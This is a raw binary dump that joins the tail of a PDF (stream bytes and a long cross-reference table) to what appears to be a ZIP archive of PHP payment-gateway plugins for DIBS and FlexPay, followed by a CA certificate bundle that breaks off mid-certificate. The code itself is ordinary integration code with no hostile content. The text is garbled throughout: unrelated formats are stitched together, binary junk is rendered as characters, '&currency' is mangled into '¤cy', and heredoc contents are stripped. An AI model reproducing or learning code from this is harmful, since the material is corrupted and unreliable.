2Pf5,,",&h(HȮHh(h(h(HHh(ȵ(hHHh(h(h(H/n]n6Yn6w/8i iM111111186ii1iMMMMiMMMMMMMMMMiMMMMMMMMMMiMMMMMMMMMMiMMMMMMMMMMMiMMMMMMMMMMMiMMMMMMMMMMMiUii-ii iMMMMMMiMMMMMMM-?qJrFŊj2 .|xRW\"-\\\Ǫ X̖Ȇ endstream endobj xref 0 738 0000000130 65535 f 0000000017 00000 n 0000000126 00000 n 0000000365 00000 n 0000000635 00000 n 0000001704 00000 n 0000001864 00000 n 0000002088 00000 n 0000002253 00000 n 0000002482 00000 n 0000005774 00000 n 0000006190 00000 n 0000009348 00000 n 0000009472 00000 n 0000009502 00000 n 0000009654 00000 n 0000009728 00000 n 0000009971 00000 n 0000013898 00000 n 0000014029 00000 n 0000014200 00000 n 0000014441 00000 n 0000014572 00000 n 0000014883 00000 n 0000015014 00000 n 0000015145 00000 n 0000015276 00000 n 0000015635 00000 n 0000015766 00000 n 0000015897 00000 n 0000016028 00000 n 0000016159 00000 n 0000016509 00000 n 0000016640 00000 n 0000016992 00000 n 0000017123 00000 n 0000017466 00000 n 0000017821 00000 n 0000018164 00000 n 0000018522 00000 n 0000018850 00000 n 0000019187 00000 n 0000019531 00000 n 0000019857 00000 n 0000019988 00000 n 0000020119 00000 n 0000020451 00000 n 0000020773 00000 n 0000021122 00000 n 0000021451 00000 n 0000021582 00000 n 0000021902 00000 n 0000022260 00000 n 0000022606 00000 n 0000022737 00000 n 0000023074 00000 n 0000023411 00000 n 0000023743 00000 n 0000024072 00000 n 0000024203 00000 n 0000024523 00000 n 0000024835 00000 n 0000029348 00000 n 0000029402 00000 n 0000032414 00000 n 0000032468 00000 n 0000032655 00000 n 0000032835 00000 n 0000071118 00000 n 0000072815 00000 n 0000072994 00000 n 0000074919 00000 n 0000120546 00000 n 0000164641 00000 n 0000166424 00000 n 0000203838 00000 n 0000243082 00000 n 0000243142 00000 n 0000245183 00000 n 0000282924 00000 n 0000327435 00000 n 0000329016 00000 n 0000372362 00000 n 0000463500 00000 n 0000465475 00000 n 0000469402 00000 n 0000480294 00000 n 0000491186 00000 n 0000594643 00000 n 0000596979 00000 n 0000641264 00000 n 0000642787 00000 n 0000689942 00000 n 0000691142 00000 n 0000738438 00000 n 0000780991 00000 n 0000783485 00000 n 0000826038 00000 n 0000827711 00000 n 0000906540 00000 n 0000998841 00000 n 0001000133 00000 n 0001004061 00000 n 0001117791 00000 n 0001119153 00000 n 0001216434 00000 n 0001264761 00000 n 0001266247 00000 n 0001346383 00000 n 0001347991 00000 n 0001441842 00000 n 0001443664 00000 n 0001467782 00000 n 0001476890 00000 n 0001478413 00000 n 0001527419 00000 n 0001608148 00000 n 0001609750 00000 n 0001699697 00000 n 0001709136 00000 n 0001710662 00000 n 0001766207 00000 n 0001776169 00000 n 0001777252 00000 n 0001827067 00000 n 0001828743 00000 n 0001879940 00000 n 0001881345 00000 n 0001993427 00000 n 0001994858 00000 n 0000000131 65535 f 0000000132 65535 f 0000000133 65535 f 0000000134 65535 f 0000000135 65535 f 0000000136 65535 f 0000000137 65535 f 0000000138 65535 f 0000000139 65535 f 0000000140 65535 f 0000000141 65535 f 0000000142 65535 f 0000000143 65535 f 0000000144 65535 f 0000000145 65535 f 0000000146 65535 f 0000000147 65535 f 0000000148 65535 f 0000000149 65535 f 0000000150 65535 f 0000000151 65535 f 0000000152 65535 f 0000000153 65535 f 0000000154 65535 f 0000000155 65535 f 0000000156 65535 f 0000000157 65535 f 0000000158 65535 f 0000000159 65535 f 0000000160 65535 f 0000000161 65535 f 0000000162 65535 f 0000000163 65535 f 0000000164 65535 f 0000000165 65535 f 0000000166 65535 f 0000000167 65535 f 0000000168 65535 f 0000000169 65535 f 0000000170 65535 f 0000000171 65535 f 0000000172 65535 f 0000000173 65535 f 0000000174 65535 f 0000000175 65535 f 0000000176 65535 f 0000000177 65535 f 0000000178 65535 f 0000000179 65535 f 0000000180 65535 f 0000000181 65535 f 0000000182 65535 f 0000000183 65535 f 0000000184 65535 f 0000000185 65535 f 0000000186 65535 f 0000000187 65535 f 0000000188 65535 f 0000000189 65535 f 0000000190 65535 f 0000000191 65535 f 0000000192 65535 f 0000000193 65535 f 0000000194 65535 f 0000000195 65535 f 0000000196 65535 f 0000000197 65535 f 0000000198 65535 f 0000000199 65535 f 0000000200 65535 f 0000000201 65535 f 0000000202 65535 f 0000000203 65535 f 0000000204 65535 f 0000000205 65535 f 0000000206 65535 f 0000000207 65535 f 0000000208 65535 f 0000000209 65535 f 0000000210 65535 f 0000000211 65535 f 0000000212 65535 f 0000000213 65535 f 0000000214 65535 f 0000000215 65535 f 0000000216 65535 f 0000000217 65535 f 0000000218 65535 f 0000000219 65535 f 0000000220 65535 f 0000000221 65535 f 0000000222 65535 f 0000000223 65535 f 0000000224 65535 f 0000000225 65535 f 0000000226 65535 f 0000000227 65535 f 0000000228 65535 f 0000000229 65535 f 0000000230 65535 f 0000000231 65535 f 0000000232 65535 f 0000000233 65535 f 0000000234 65535 f 0000000235 65535 f 0000000236 65535 f 0000000237 65535 f 0000000238 65535 f 0000000239 65535 f 0000000240 65535 f 0000000241 65535 f 0000000242 65535 f 0000000243 65535 f 0000000244 65535 f 0000000245 65535 f 0000000246 65535 f 0000000247 65535 f 0000000248 65535 f 0000000249 65535 f 0000000250 65535 f 0000000251 65535 f 0000000252 65535 f 0000000253 65535 f 0000000254 65535 f 0000000255 65535 f 0000000256 65535 f 0000000257 65535 f 0000000258 65535 f 0000000259 65535 f 0000000260 65535 f 0000000261 65535 f 0000000262 65535 f 0000000263 65535 f 0000000264 65535 f 0000000265 65535 f 0000000266 65535 f 0000000267 65535 f 0000000268 65535 f 0000000269 65535 f 0000000270 65535 f 0000000271 65535 f 0000000272 65535 f 0000000273 65535 f 0000000274 65535 f 0000000275 65535 f 0000000276 65535 f 0000000277 65535 f 0000000278 65535 f 0000000279 65535 f 0000000280 65535 f 0000000281 65535 f 0000000282 65535 f 0000000283 65535 f 0000000284 65535 f 0000000285 65535 f 0000000286 65535 f 0000000287 65535 f 0000000288 65535 f 0000000289 65535 f 0000000290 65535 f 0000000291 65535 f 0000000292 65535 f 0000000293 65535 f 0000000294 65535 f 0000000295 65535 f 0000000296 65535 f 0000000297 65535 f 0000000298 65535 f 0000000299 65535 f 0000000300 65535 f 0000000301 65535 f 0000000302 65535 f 0000000303 65535 f 0000000304 65535 f 0000000305 65535 f 0000000306 65535 f 0000000307 65535 f 0000000308 65535 f 0000000309 65535 f 0000000310 65535 f 0000000311 65535 f 0000000312 65535 f 0000000313 65535 f 0000000314 65535 f 0000000315 65535 f 0000000316 65535 f 0000000317 65535 f 0000000318 65535 f 0000000319 65535 f 0000000320 65535 f 0000000321 65535 f 0000000322 65535 f 0000000323 65535 f 0000000324 65535 f 0000000325 65535 f 0000000326 65535 f 0000000327 65535 f 0000000328 65535 f 0000000329 65535 f 0000000330 65535 f 0000000331 65535 f 0000000332 65535 f 0000000333 65535 f 0000000334 65535 f 0000000335 65535 f 0000000336 65535 f 0000000337 65535 f 0000000338 65535 f 0000000339 65535 f 0000000340 65535 f 0000000341 65535 f 0000000342 65535 f 0000000343 65535 f 0000000344 65535 f 0000000345 65535 f 0000000346 65535 f 0000000347 65535 f 0000000348 65535 f 0000000349 65535 f 0000000350 65535 f 0000000351 65535 f 0000000352 65535 f 0000000353 65535 f 0000000354 65535 f 0000000355 65535 f 0000000356 65535 f 0000000357 65535 f 0000000358 65535 f 0000000359 65535 f 0000000360 65535 f 0000000361 65535 f 0000000362 65535 f 0000000363 65535 f 0000000364 65535 f 0000000365 65535 f 0000000366 65535 f 0000000367 65535 f 0000000368 65535 f 0000000369 65535 f 0000000370 65535 f 0000000371 65535 f 0000000372 65535 f 0000000373 65535 f 0000000374 65535 f 0000000375 65535 f 0000000376 65535 f 0000000377 65535 f 0000000378 65535 f 0000000379 65535 f 0000000380 65535 f 0000000381 65535 f 0000000382 65535 f 0000000383 65535 f 0000000384 65535 f 0000000385 65535 f 0000000386 65535 f 0000000387 65535 f 0000000388 65535 f 0000000389 65535 f 0000000390 65535 f 0000000391 65535 f 0000000392 65535 f 0000000393 65535 f 0000000394 65535 f 0000000395 65535 f 0000000396 65535 f 0000000397 65535 f 0000000398 65535 f 0000000399 65535 f 0000000400 65535 f 0000000401 65535 f 0000000402 65535 f 0000000403 65535 f 0000000404 65535 f 0000000405 65535 f 0000000406 65535 f 0000000407 65535 f 0000000408 65535 f 0000000409 65535 f 0000000410 65535 f 0000000411 65535 f 0000000412 65535 f 0000000413 65535 f 0000000414 65535 f 0000000415 65535 f 0000000416 65535 f 0000000417 65535 f 0000000418 65535 f 0000000419 65535 f 0000000420 65535 f 0000000421 65535 f 0000000422 65535 f 0000000423 65535 f 0000000424 65535 f 0000000425 65535 f 0000000426 65535 f 0000000427 65535 f 0000000428 65535 f 0000000429 65535 f 0000000430 65535 f 0000000431 65535 f 0000000432 65535 f 0000000433 65535 f 0000000434 65535 f 0000000435 65535 f 0000000436 65535 f 0000000437 65535 f 0000000438 65535 f 0000000439 65535 f 0000000440 65535 f 0000000441 65535 f 0000000442 65535 f 0000000443 65535 f 0000000444 65535 f 0000000445 65535 f 0000000446 65535 f 0000000447 65535 f 0000000448 65535 f 0000000449 65535 f 0000000450 65535 f 0000000451 65535 f 0000000452 65535 f 0000000453 65535 f 0000000454 65535 f 0000000455 65535 f 0000000456 65535 f 0000000457 65535 f 0000000458 65535 f 0000000459 65535 f 0000000460 65535 f 0000000461 65535 f 0000000462 65535 f 0000000463 65535 f 0000000464 65535 f 0000000465 65535 f 0000000466 65535 f 0000000467 65535 f 0000000468 65535 f 0000000469 65535 f 0000000470 65535 f 0000000471 65535 f 0000000472 65535 f 0000000473 65535 f 0000000474 65535 f 0000000475 65535 f 0000000476 65535 f 0000000477 65535 f 0000000478 65535 f 0000000479 65535 f 0000000480 65535 f 0000000481 65535 f 0000000482 65535 f 0000000483 65535 f 0000000484 65535 f 0000000485 65535 f 0000000486 65535 f 0000000487 65535 f 0000000488 65535 f 0000000489 65535 f 0000000490 65535 f 0000000491 65535 f 0000000492 65535 f 0000000493 65535 f 0000000494 65535 f 0000000495 65535 f 0000000496 65535 f 0000000497 65535 f 0000000498 65535 f 0000000499 65535 f 0000000500 65535 f 0000000501 65535 f 0000000502 65535 f 0000000503 65535 f 0000000504 65535 f 0000000505 65535 f 0000000506 65535 f 0000000507 65535 f 0000000508 65535 f 0000000509 65535 f 0000000510 65535 f 0000000511 65535 f 0000000512 65535 f 0000000513 65535 f 0000000514 65535 f 0000000515 65535 f 0000000516 65535 f 0000000517 65535 f 0000000518 65535 f 0000000519 65535 f 0000000520 65535 f 0000000521 65535 f 0000000522 65535 f 0000000523 65535 f 0000000524 65535 f 0000000525 65535 f 0000000526 65535 f 0000000527 65535 f 0000000528 65535 f 0000000529 65535 f 0000000530 65535 f 0000000531 65535 f 0000000532 65535 f 0000000533 65535 f 0000000534 65535 f 0000000535 65535 f 0000000536 65535 f 0000000537 65535 f 0000000538 65535 f 0000000539 65535 f 0000000540 65535 f 0000000541 65535 f 0000000542 65535 f 0000000543 65535 f 0000000544 65535 f 0000000545 65535 f 0000000546 65535 f 0000000547 65535 f 0000000548 65535 f 0000000549 65535 f 0000000550 65535 f 0000000551 65535 f 0000000552 65535 f 0000000553 65535 f 0000000554 65535 f 0000000555 65535 f 0000000556 65535 f 0000000557 65535 f 0000000558 65535 f 0000000559 65535 f 0000000560 65535 f 0000000561 65535 f 0000000562 65535 f 0000000563 65535 f 0000000564 65535 f 0000000565 65535 f 0000000566 65535 f 0000000567 65535 f 0000000568 65535 f 0000000569 65535 f 0000000570 65535 f 0000000571 65535 f 0000000572 65535 f 0000000573 65535 f 0000000574 65535 f 0000000575 65535 f 0000000576 65535 f 0000000577 65535 f 0000000578 65535 f 0000000579 65535 f 0000000580 65535 f 0000000581 65535 f 0000000582 65535 f 0000000583 65535 f 0000000584 65535 f 0000000585 65535 f 0000000586 65535 f 0000000587 65535 f 0000000588 65535 f 0000000589 65535 f 0000000590 65535 f 0000000591 65535 f 0000000592 65535 f 0000000593 65535 f 0000000594 65535 f 0000000595 65535 f 0000000596 65535 f 0000000597 65535 f 0000000598 65535 f 0000000599 65535 f 0000000600 65535 f 0000000601 65535 f 0000000602 65535 f 0000000603 65535 f 0000000604 65535 f 0000000605 65535 f 0000000606 65535 f 0000000607 65535 f 0000000608 65535 f 0000000609 65535 f 0000000610 65535 f 0000000611 65535 f 0000000612 65535 f 0000000613 65535 f 0000000614 65535 f 0000000615 65535 f 0000000616 65535 f 0000000617 65535 f 0000000618 65535 f 0000000619 65535 f 0000000620 65535 f 0000000621 65535 f 0000000622 65535 f 0000000623 65535 f 0000000624 65535 f 0000000625 65535 f 0000000626 65535 f 0000000627 65535 f 0000000628 65535 f 0000000629 65535 f 0000000630 65535 f 0000000631 65535 f 0000000632 65535 f 0000000633 65535 f 0000000634 65535 f 0000000635 65535 f 0000000636 65535 f 0000000637 65535 f 0000000638 65535 f 0000000639 65535 f 0000000640 65535 f 0000000641 65535 f 0000000642 65535 f 0000000643 65535 f 0000000644 65535 f 0000000645 65535 f 0000000646 65535 f 0000000647 65535 f 0000000648 65535 f 0000000649 65535 f 0000000650 65535 f 0000000651 65535 f 0000000652 65535 f 0000000653 65535 f 0000000654 65535 f 0000000655 65535 f 0000000656 65535 f 0000000657 65535 f 0000000658 65535 f 0000000659 65535 f 0000000660 65535 f 0000000661 65535 f 0000000662 65535 f 0000000663 65535 f 0000000664 65535 f 0000000665 65535 f 0000000666 65535 f 0000000667 65535 f 0000000668 65535 f 0000000669 65535 f 0000000670 65535 f 0000000671 65535 f 0000000672 65535 f 0000000673 65535 f 0000000674 65535 f 0000000675 65535 f 0000000676 65535 f 0000000677 65535 f 0000000678 65535 f 0000000679 65535 f 0000000680 65535 f 0000000681 65535 f 0000000682 65535 f 0000000683 65535 f 0000000684 65535 f 0000000685 65535 f 0000000686 65535 f 0000000687 65535 f 0000000688 65535 f 0000000689 65535 f 0000000690 65535 f 0000000691 65535 f 0000000692 65535 f 0000000693 65535 f 0000000694 65535 f 0000000695 65535 f 0000000696 65535 f 0000000697 65535 f 0000000698 65535 f 0000000699 65535 f 0000000700 65535 f 0000000701 65535 f 0000000702 65535 f 0000000703 65535 f 0000000704 65535 f 0000000705 65535 f 0000000706 65535 f 0000000707 65535 f 0000000708 65535 f 0000000709 65535 f 0000000710 65535 f 0000000711 65535 f 0000000712 65535 f 0000000713 65535 f 0000000714 65535 f 0000000715 65535 f 0000000716 65535 f 0000000717 65535 f 0000000718 65535 f 0000000719 65535 f 0000000720 65535 f 0000000721 65535 f 0000000722 65535 f 0000000723 65535 f 0000000724 65535 f 0000000725 65535 f 0000000726 65535 f 0000000727 65535 f 0000000728 65535 f 0000000729 65535 f 0000000000 65535 f 0002003386 00000 n 0002003807 00000 n 0002064975 00000 n 0002065359 00000 n 0002065799 00000 n 0002066119 00000 n 0002066369 00000 n 0002148396 00000 n trailer <<9892D77FE8C329459960386FF89CFEE2>] >> startxref 2150277 %%EOF xref 0 0 trailer <<9892D77FE8C329459960386FF89CFEE2>] /Prev 2150277/XRefStm 2148396>> startxref 2165199 %%EOFPK\>qvvpayment/dibs.phpnu[ '208', 'EUR' => '978', 'USD' => '840', 'GBP' => '826', 'SEK' => '752', 'AUD' => '036', 'CAD' => '124', 'ISK' => '352', 'JPY' => '392', 'NZD' => '554', 'NOK' => '578', 'CHF' => '756', 'TRY' => '949'); public function supportsCancelPage() { return true; } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('merchant', array('size' => 20, 'maxlength' => 16)) ->setLabel("Dibs Merchant ID") ->addRule('required'); $form->addText('key1', array('size' => 20, 'maxlength' => 32)) ->setLabel("Dibs Secret Key1") ->addRule('required'); $form->addText('key2', array('size' => 20, 'maxlength' => 32)) ->setLabel("Dibs Secret Key2") ->addRule('required'); $form->addSelect('lang', array(), array('options' => array( 'da' => 'Danish', 'sv' => 'Swedish', 'no' => 'Norwegian', 'en' => 'English', 'nl' => 'Dutch', 'de' => 'German', 'fr' => 'French', 'fi' => 'Finnish', 'es' => 'Spanish', 'it' => 'Italian', 'fo' => 'Faroese', 'pl' => 'Polish' )))->setLabel('The payment window language'); $form->addAdvCheckbox("testing")->setLabel("Test Mode Enabled"); } function getReadme() { return <<DIBS Payment Plugin Configuration 1. Login to DIBS Administration and then go to "integration" -> Return Values. 2. Please check "orderid" parameter. CUT; } public function getSupportedCurrencies() { return array( 'DKK', 'DKK', 'USD', 'GBP', 'SEK', 'AUD', 'CAD', 'ISK', 'JPY', 'NZD', 'NOK', 'CHF', 'TRY'); } public function init() { parent::init(); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect(self::URL); $currency = $this->getCurrencyCode($invoice); $a->md5key = md5($s2 = $this->getConfig('key2') . md5($s1 = $this->getConfig('key1') . "merchant=" . $this->getConfig('merchant') . "&orderid=" . $invoice->public_id . "¤cy=" . $currency . "&amount=" . intval($invoice->first_total * 100))); $a->merchant = $this->getConfig('merchant'); $a->amount = intval($invoice->first_total * 100); $a->currency = $currency; $a->orderid = $invoice->public_id; $a->lang = $this->getConfig('lang'); $a->accepturl = $this->getReturnUrl($request); $a->cancelurl = $this->getCancelUrl($request); $a->continueurl = $this->getReturnUrl(); $a->callbackurl = $this->getPluginUrl('ipn'); $a->capturenow = 1; if($this->getConfig('testing')) $a->test = 'yes'; $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Dibs($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } function getCurrencyCode($invoice) { return $this->currency_codes[strtoupper($invoice->currency)]; } } class Am_Paysystem_Transaction_Dibs extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('orderid'); } public function getUniqId() { return $this->request->get("transact"); } public function validateSource() { if (!$this->invoice = $this->loadInvoice($this->request->get('orderid'))) { throw new Am_Exception_Paysystem_TransactionInvalid("Can not find invoice!"); } $amount = $this->invoice->first_total * 100; $currency = $this->plugin->getCurrencyCode($this->invoice); $authkey = md5($this->plugin->getConfig('key2') . md5($s = $this->plugin->getConfig('key1') . "transact=" . $this->request->get('transact') . "&amount=" . $amount . "¤cy=" . $currency)); if ($authkey != $this->request->get('authkey')) { throw new Am_Exception_Paysystem_TransactionInvalid("IPN validation failed!"); } return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } }PK\ZOOpayment/flexpay.phpnu[addAdvRadio('brand') ->setLabel('Brand') ->loadOptions(array( 'Verotel' => 'Verotel', 'CardBilling' => 'CardBilling', 'FreenomPay' => 'FreenomPay' )); $form->addText('shop_id') ->setLabel('Shop Id'); $form->addText('signature_key', array('class' => 'el-wide')) ->setLabel("Signature Key"); } public function isConfigured() { return $this->getConfig('shop_id') && $this->getConfig('signature_key'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $action = new Am_Paysystem_Action_Redirect($this->getEndpoint()); $vars = array( 'backURL' => $this->getReturnUrl(), 'custom1' => $invoice->public_id, 'declineURL' => $this->getCancelUrl(), 'referenceID' => $invoice->public_id, 'shopID' => $this->getConfig('shop_id'), 'priceCurrency' => $invoice->currency, 'version' => '3.4' ); if ((float)$invoice->second_total) { $vars['name'] = $invoice->getLineDescription(); $vars['type'] = 'subscription'; $vars['subscriptionType'] = 'recurring'; if ($invoice->first_total != $invoice->second_total) { $vars['priceAmount'] = $invoice->second_total; $vars['trialAmount'] = $invoice->first_total; $vars['period'] = $this->getPeriod($invoice->second_period); $vars['trialPeriod'] = $this->getPeriod($invoice->first_period); } else { $vars['priceAmount'] = $invoice->first_total; $vars['period'] = $this->getPeriod($invoice->first_period); } } else{ $vars['description'] = $invoice->getLineDescription(); $vars['type'] = 'purchase'; $vars['priceAmount'] = $invoice->first_total; } $action->signature = $this->getHash($vars); $action->email = $invoice->getEmail(); foreach ($vars as $k => $v) { $action->addParam($k, $v); } $result->setAction($action); } function getPeriod($period) { $p = new Am_Period($period); return sprintf("P%d%s", $p->getCount(), strtoupper($p->getUnit())); } function getHash($vars) { ksort($vars); $hashstring = $this->getConfig('signature_key'); foreach ($vars as $name => $value) { $hashstring .= sprintf(':%s=%s', $name, $value); } return sha1($hashstring); } function getEndpoint() { switch ($this->getConfig('brand')) { case 'Verotel': return 'https://secure.verotel.com/startorder'; case 'CardBilling': return 'https://secure.billing.creditcard/startorder'; case 'FreenomPay': return 'https://secure.freenompay.com/startorder'; } } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { switch ($request->getParam('event', 'initial')) { case 'initial': return new Am_Paysystem_Transaction_FlexpayInitial($this, $request, $response, $invokeArgs); case 'credit': return new Am_Paysystem_Transaction_FlexpayCredit($this, $request, $response, $invokeArgs); case 'rebill': return new Am_Paysystem_Transaction_FlexpayRebill($this, $request, $response, $invokeArgs); case 'cancel': return new Am_Paysystem_Transaction_FlexpayCancel($this, $request, $response, $invokeArgs); default: return new Am_Paysystem_Transaction_FlexpayNull($this, $request, $response, $invokeArgs); } } function getReadme() { $ipn = $this->getPluginUrl('ipn'); return <<request->get('custom1'); } public function getUniqId() { return $this->request->get('transactionID'); } public function validateSource() { $this->_checkIp(<<request->getRequestOnlyParams(); $signature = $params['signature']; unset($params['signature']); return $this->plugin->getHash($params) == $signature; } public function validateStatus() { return true; } public function validateTerms() { return true; } } class Am_Paysystem_Transaction_FlexpayInitial extends Am_Paysystem_Transaction_Flexpay { public function processValidated() { $this->invoice->addPayment($this); echo "OK"; exit; } } class Am_Paysystem_Transaction_FlexpayCredit extends Am_Paysystem_Transaction_Flexpay { public function processValidated() { $this->invoice->addRefund($this, $this->request->get('parentID')); echo "OK"; exit; } } class Am_Paysystem_Transaction_FlexpayRebill extends Am_Paysystem_Transaction_Flexpay { public function processValidated() { $this->invoice->addPayment($this); echo "OK"; exit; } } class Am_Paysystem_Transaction_FlexpayCancel extends Am_Paysystem_Transaction_Flexpay { public function processValidated() { $this->invoice->setCancelled(true); echo "OK"; exit; } } class Am_Paysystem_Transaction_FlexpayNull extends Am_Paysystem_Transaction_Flexpay { public function processValidated() { echo "OK"; exit; } }PK\tpayment/payssion/lib/cacert.pemnu[## ## Bundle of CA Root Certificates ## ## Certificate data from Mozilla as of: Wed Sep 2 18:30:34 2015 ## ## This is a bundle of X.509 certificates of public Certificate Authorities ## (CA). These were automatically extracted from Mozilla's root certificates ## file (certdata.txt). This file can be found in the mozilla source tree: ## http://hg.mozilla.org/releases/mozilla-release/raw-file/default/security/nss/lib/ckfw/builtins/certdata.txt ## ## It contains the certificates in PEM format and therefore ## can be directly used with curl / libcurl / php_curl, or with ## an Apache+mod_ssl webserver for SSL client authentication. ## Just configure this file as the SSLCACertificateFile. ## ## Conversion done with mk-ca-bundle.pl version 1.25. ## SHA1: ed3c0bbfb7912bcc00cd2033b0cb85c98d10559c ## Equifax Secure CA ================= -----BEGIN CERTIFICATE----- MIIDIDCCAomgAwIBAgIENd70zzANBgkqhkiG9w0BAQUFADBOMQswCQYDVQQGEwJVUzEQMA4GA1UE ChMHRXF1aWZheDEtMCsGA1UECxMkRXF1aWZheCBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5 MB4XDTk4MDgyMjE2NDE1MVoXDTE4MDgyMjE2NDE1MVowTjELMAkGA1UEBhMCVVMxEDAOBgNVBAoT B0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTCB nzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAwV2xWGcIYu6gmi0fCG2RFGiYCh7+2gRvE4RiIcPR fM6fBeC4AfBONOziipUEZKzxa1NfBbPLZ4C/QgKO/t0BCezhABRP/PvwDN1Dulsr4R+AcJkVV5MW 8Q+XarfCaCMczE1ZMKxRHjuvK9buY0V7xdlfUNLjUA86iOe/FP3gx7kCAwEAAaOCAQkwggEFMHAG A1UdHwRpMGcwZaBjoGGkXzBdMQswCQYDVQQGEwJVUzEQMA4GA1UEChMHRXF1aWZheDEtMCsGA1UE CxMkRXF1aWZheCBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MQ0wCwYDVQQDEwRDUkwxMBoG A1UdEAQTMBGBDzIwMTgwODIyMTY0MTUxWjALBgNVHQ8EBAMCAQYwHwYDVR0jBBgwFoAUSOZo+SvS spXXR9gjIBBPM5iQn9QwHQYDVR0OBBYEFEjmaPkr0rKV10fYIyAQTzOYkJ/UMAwGA1UdEwQFMAMB Af8wGgYJKoZIhvZ9B0EABA0wCxsFVjMuMGMDAgbAMA0GCSqGSIb3DQEBBQUAA4GBAFjOKer89961 zgK5F7WF0bnj4JXMJTENAKaSbn+2kmOeUJXRmm/kEd5jhW6Y7qj/WsjTVbJmcVfewCHrPSqnI0kB BIZCe/zuf6IWUrVnZ9NA2zsmWLIodz2uFHdh1voqZiegDfqnc1zqcPGUIWVEX/r87yloqaKHee95 70+sB3c4 -----END CERTIFICATE----- GlobalSign Root CA ================== -----BEGIN CERTIFICATE----- MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkGA1UEBhMCQkUx GTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jvb3QgQ0ExGzAZBgNVBAMTEkds b2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAwMDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNV BAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYD VQQDExJHbG9iYWxTaWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDa DuaZjc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6sc THAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4bwY8iGlb Kk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVtbNV4FpWi6cgKOOvyJBNP c1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlwR5EiUWMWea6xrkEmCMgZK9FGqkjWZCrX gzT/LCrBbBlDSgeF59N89iFo7+ryUp9/k5DPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV HRMBAf8EBTADAQH/MB0GA1UdDgQWBBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0BAQUF AAOCAQEA1nPnfE920I2/7LqivjTFKDK1fPxsnCwrvQmeU79rXqoRSLblCKOzyj1hTdNGCbM+w6Dj Y1Ub8rrvrTnhQ7k4o+YviiY776BQVvnGCv04zcQLcFGUl5gE38NflNUVyRRBnMRddWQVDf9VMOyG j/8N7yy5Y0b2qvzfvGn9LhJIZJrglfCm7ymPAbEVtQwdpf5pLGkkeB6zpxxxYu7KyJesF12KwvhH hm4qxFYxldBniYUr+WymXUadDKqC5JlR3XC321Y9YeRq4VzW9v493kHMB65jUr9TU/Qr6cf9tveC X4XSQRjbgbMEHMUfpIBvFSDJ3gyICh3WZlXi/EjJKSZp4A== -----END CERTIFICATE----- GlobalSign Root CA - R2 ======================= -----BEGIN CERTIFICATE----- MIIDujCCAqKgAwIBAgILBAAAAAABD4Ym5g0wDQYJKoZIhvcNAQEFBQAwTDEgMB4GA1UECxMXR2xv YmFsU2lnbiBSb290IENBIC0gUjIxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh bFNpZ24wHhcNMDYxMjE1MDgwMDAwWhcNMjExMjE1MDgwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT aWduIFJvb3QgQ0EgLSBSMjETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKbPJA6+Lm8omUVCxKs+IVSbC9N/hHD6 ErPLv4dfxn+G07IwXNb9rfF73OX4YJYJkhD10FPe+3t+c4isUoh7SqbKSaZeqKeMWhG8eoLrvozp s6yWJQeXSpkqBy+0Hne/ig+1AnwblrjFuTosvNYSuetZfeLQBoZfXklqtTleiDTsvHgMCJiEbKjN S7SgfQx5TfC4LcshytVsW33hoCmEofnTlEnLJGKRILzdC9XZzPnqJworc5HGnRusyMvo4KD0L5CL TfuwNhv2GXqF4G3yYROIXJ/gkwpRl4pazq+r1feqCapgvdzZX99yqWATXgAByUr6P6TqBwMhAo6C ygPCm48CAwEAAaOBnDCBmTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4E FgQUm+IHV2ccHsBqBt5ZtJot39wZhi4wNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2NybC5nbG9i YWxzaWduLm5ldC9yb290LXIyLmNybDAfBgNVHSMEGDAWgBSb4gdXZxwewGoG3lm0mi3f3BmGLjAN BgkqhkiG9w0BAQUFAAOCAQEAmYFThxxol4aR7OBKuEQLq4GsJ0/WwbgcQ3izDJr86iw8bmEbTUsp 9Z8FHSbBuOmDAGJFtqkIk7mpM0sYmsL4h4hO291xNBrBVNpGP+DTKqttVCL1OmLNIG+6KYnX3ZHu 